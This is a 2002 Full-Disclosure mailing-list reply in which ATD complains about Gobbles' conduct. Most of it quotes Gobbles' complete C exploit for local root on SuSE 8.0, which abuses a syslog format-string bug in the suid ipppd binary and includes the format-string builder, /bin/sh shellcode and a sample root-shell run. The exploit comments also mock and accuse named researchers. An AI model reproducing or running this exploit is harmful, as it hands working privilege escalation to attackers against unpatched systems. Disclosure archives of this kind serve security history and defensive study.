Message-ID: <1028960222.16969.552.camel@black.snosoft.com>
From: simon at snosoft.com (ATD)
Subject: Local Root Exploit

Gobbles, 
	Tell me, is it common practice for "security professionals" to act like
children? Or, is it common practice to commit slander? I think the
majority of the people on these lists would like to see the lists used
for security research and information disclosure.  I do not think that
the true professionals want to be bothered with childish ranting and
raving. Anyway, I am sure your research is appreciated, good job on the
find.

Sincerely, 
	ATD
	


On Fri, 2002-08-09 at 18:54, gobbles@...hmail.com wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> /*
>  * GOBBLES-own-ipppd.c -- local root on SuSE 8.0
>  *
>  * Random Defcon Quote:
>  *  "Who hired Gary Coleman to play KF at defcon?"
>  *   -Anonymous
>  *
>  * ipppd is part of the isdn4linux-utils package and
>  * is part of the default install of many linux dists.
>  *
>  * It is installed suid root on suse 8.0 but can only
>  * be run by users in group "dialout". Luckily this
>  * is a default group that normal users get added to.
>  *
>  * Problem:
>  *
>  * Classical syslog(3) formatstring problem.
>  *
>  * ipppd will log device strings in the following manner:
>  *
>  * main.c:
>  *
>  * ...
>  * syslog(LOG_NOTICE,devstr);  // HARD TO SPOT BUG
>  * ...
>  *
>  * This code is normally only reached with a valid device string
>  * but if you feed ipppd a devicename that is >= 256 bytes it
>  * will merrily proceed to log this string using the faulty
>  * syslog(3) call. Subsequently handing over root access to the machine.
>  *
>  *     GENERIC FORMATSTRING EXPLOITS ARE SUPER DUPER FUN
>  *
>  * We're surprised that format bugs are allowed in 7350linux, but no one
>  * is perfect.  Finding format bugs is a difficult task, and should be left
>  * to the professionals.  A little known fact -- Paul Vixie invented
>  * insecure programming.  We wanted to get this bug squashed before some
>  * "researcher" from snosoft.com discovered it and tried to make some money
>  * off it.  Help us in our mission to eliminate the existance of format bugs
>  * in code.
>  *
>  * Greets:
>  *  -Mark Litchfield, for helping make defcon happen.  Thanks.
>  *  -Blue Boar, for his brilliant input during the Defcon Ethics Roundtable
>  *   Challenge (the finest moment of defcon X)
>  *  -Dean Turner, who contrary to whatever might be said, GOBBLES is not
>  *   afraid of.  http://www.infonexus.com/PIX/08.01.02--defcon10/46.jpg
>  *  -Eric Hines of f8labs.com, congradulations on your promotion to stockboy
>  *   at Circuit City.
>  *  -dice, for continuing to support the blackhat world (thanks for buying
>  *   a turkey breakfast)
>  *  -stealth, for making fun of the super bug.
>  *  -Brian McWilliams, for thinking he knows what's up.  Hoser.
>  *
>  * Be careful using the Compaq TestDrive Servers -- researchers from SnoSoft
>  * have comprimised each and every one of those machines, and are rapidly
>  * stealing other warez developed on these machines.  If you have also
>  * worked with your perl -e techniques on these machines, and discovered some
>  * locally exploitable stack overflows, your work may have been ripped off.
>  * KF, the defcon stage, much like information security, is not for you.
>  *
>  * Please, help liberate dvdman!  Let him go back to maintaining
>  * l33tsecurity.com, and stop raping his mind for less-than-minimum wage;
>  * skill displayed on l33tsecurity.com shows this man knows what's up and
>  * deserves to make a little more money, or return to the wild where he
>  * can hack freely.  FREE DVDMAN!@#!@#
>  *
>  * (flashn has asked that the "hack.se is a bunch of nazis" statement from
>  *  the defcon speech to be publically retracted and for an apology to be
>  *  issued)
>  *
>  */
> /*
>  * PROOF OF CONCEPT ON DEFAULT SuSE 8.0 INSTALL:
>  *
>  * $ ./GOBBLES-own-ipppd -t 0x806c864
>  * [*] target @ 0x806c868
>  * [*] shellcode @ 0xbfffffb5
>  * sh-2.05# id
>  * uid=0(root) gid=100(users) groups=100(users)
>  * sh-2.05#
>  *
>  */
> 
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <unistd.h>
> 
> #define DPA		11
> #define ALLIGN		3
> 
> #define IPPPD		"/usr/sbin/ipppd"
> #define OBJDUMP		"/usr/bin/objdump"
> 
> void buildstring(unsigned long t, unsigned long w, int dpa, int allign);
> void stuff(void);
> 
> extern char **environ;
> char string[260];
> 
> int
> main(int argc, char **argv)
> {
> 	int dpa, aln, shift = 0;
> 	char opt, *tmp;
> 	unsigned long t, w;
> 
> 	if(argc == 1) {
> 		fprintf(stderr, "\nUsage: \n%s -t <.dtors address>\n\n"
> 				"Optional:\n\t-o <word offset>\n\t-a <allignment>\n\n"
> 				"For the lazy:\n\t-g spits out .dtors section (use standalone)\n\n"
> 				, argv[0]);
> 		exit(0);
> 	}
> 
> 	aln = ALLIGN;
> 	dpa = DPA;
> 
> 	while((opt = getopt(argc, argv, "t:o:a:g")) != EOF) {
> 		switch(opt) {
> 			case 't':
> 				sscanf(optarg, "%p", &tmp);
> 				t = (long)tmp;
> 			 	t += 4;
> 				break;
> 			case 'a':
> 				aln = atoi(optarg);
> 				break;
> 			case 'o':
> 				dpa = atoi(optarg);
> 				break;
> 			case 'g':
> 				fprintf(stderr, "[*] requested objdump, this will halt any exploitation\n");
> 				if(execl(OBJDUMP, "objdump", "-s", "-j", ".dtors", IPPPD, NULL)) {
> 					fprintf(stderr, "[*] error getting .dtors section, check paths\n");
> 					exit(1);
> 				}
> 			default:
> 				fprintf(stderr, "hehehe ;PppPPPpP\n");
> 				exit(0);
> 		}
> 	}
> 
> 	tmp = NULL;
> 
> 	if((tmp = getenv("GOBBLES")) == NULL) {
> 		stuff();
> 		if(execve(argv[0], argv, environ)) {
> 			fprintf(stderr, "[*] error re-executing\n");
> 			exit(1);
> 		}
> 	}
> 
> 	w = (long)tmp;
> 	shift = (strlen(argv[0]) - strlen(IPPPD));
> 	w += shift;
> 
> 	fprintf(stderr, "[*] target @ %p\n[*] shellcode @ %p\n", t, w);
> 
> 	buildstring(t, w, dpa, aln);
> 
> 	if(execl(IPPPD, "ipppd", string, NULL)) {
> 		fprintf(stderr, "[*] error executing\n");
> 		exit(1);
> 	}
> }
> 
> 
> void
> buildstring(unsigned long t, unsigned long w, int dpa, int aln)
> {
> 	char a_buf[4];
> 	unsigned int un, deux, x, len, b[4];
> 
> 	memset(string, '\0', sizeof(string));
> 	memset(a_buf, '\0', sizeof(a_buf));
> 
> 	for(x = 0; x < aln && x < sizeof(a_buf); x++)
> 		a_buf[x] = 'x';
> 
> 	b[0] = (t & 0x000000ff);
> 	b[1] = (t & 0x0000ff00) >> 8;
> 	b[2] = (t & 0x00ff0000) >> 16;
> 	b[3] = (t & 0xff000000) >> 24;
> 
> 	un = (w >> 16) & 0xffff;
> 	deux = w & 0xffff;
> 
> 	if(un < deux) {
>                 snprintf(string, sizeof(string)-1,
> 			"%s"
> 			"%c%c%c%c%c%c%c%c"
> 			"%%.%hdx" "%%%d$hn"
> 			"%%.%hdx" "%%%d$hn",
>                         a_buf,
> 			b[0] + 2, b[1], b[2], b[3], b[0], b[1], b[2], b[3],
>                         un - (8 + aln + 5), dpa,
> 			deux - un, dpa + 1
> 		);
>         }
>         else {
>                 snprintf(string, sizeof(string)-1,
> 			"%s"
> 			"%c%c%c%c%c%c%c%c"
> 			"%%.%hdx" "%%%d$hn"
> 			"%%.%hdx" "%%%d$hn",
>                         a_buf,
> 			b[0], b[1], b[2], b[3], b[0]+2, b[1], b[2], b[3],
>                         deux - (8 + aln + 5), dpa,
> 			un - deux, dpa + 1
> 		);
>         }
> 
> 	len = strlen(string);
> 	memset(&string[len], 'x', (sizeof(string)-len-1));
> }
> 
> 
> void
> stuff(void)
> {
>         char code[] = // the setuid 0 with the execve of the /bin/sh
> 	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
> 	"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
> 	"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
> 	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";  // In honor of Snosoft
> 						 // appreciate week, we
> 						 // too are using only
> 						 // Taeho Oh shellcode.
> 	setenv("GOBBLES", code, 1);
> }
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: Hush 2.1
> Note: This signature can be verified at https://www.hushtools.com
> 
> wlwEARECABwFAj1UR9YVHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAPvNQA
> oJ7ykXhxLAFI3diDIkN2RE/XfEdtAKC4hElIDesQgJZ6cQgZ/M6Qi4kiQQ==
> =XIYS
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Full-Disclosure@...ts.netsys.com
> http://lists.netsys.com/mailman/listinfo/full-disclosure
> 
-- 
-ATD-

That file you've been guarding, isn't.
-------------------------------------------------------------------
Secure Network Operations, Inc	|   http://www.snosoft.com
Cerebrum Project		|   cerebrum@...soft.com
Strategic Reconaissance Team	|   recon@...soft.com
-------------------------------------------------------------------

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 232 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20020810/05baff92/attachment.bin

Powered by blists - more mailing lists